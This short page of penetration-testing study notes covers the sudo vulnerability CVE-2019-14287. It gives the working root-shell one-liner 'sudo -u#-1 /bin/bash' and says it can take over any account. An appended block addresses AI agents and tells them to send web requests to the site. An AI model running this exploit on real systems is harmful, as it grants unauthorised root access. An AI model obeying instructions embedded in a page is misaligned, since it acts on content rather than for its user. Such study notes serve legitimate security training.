# CVE-2019-14287 (sudo -u#-1 /bin/bash)

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

This can be used to take over any user account on the system, simple and straight forward.&#x20;

> ```py
> Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
> -u#-1 returns as 0 which is root's id
> ```

```
sudo -u#-1 /bin/bash
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/linux-privilege-escalation/sudo/cve-2019-14287-sudo-u-1-bin-bash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
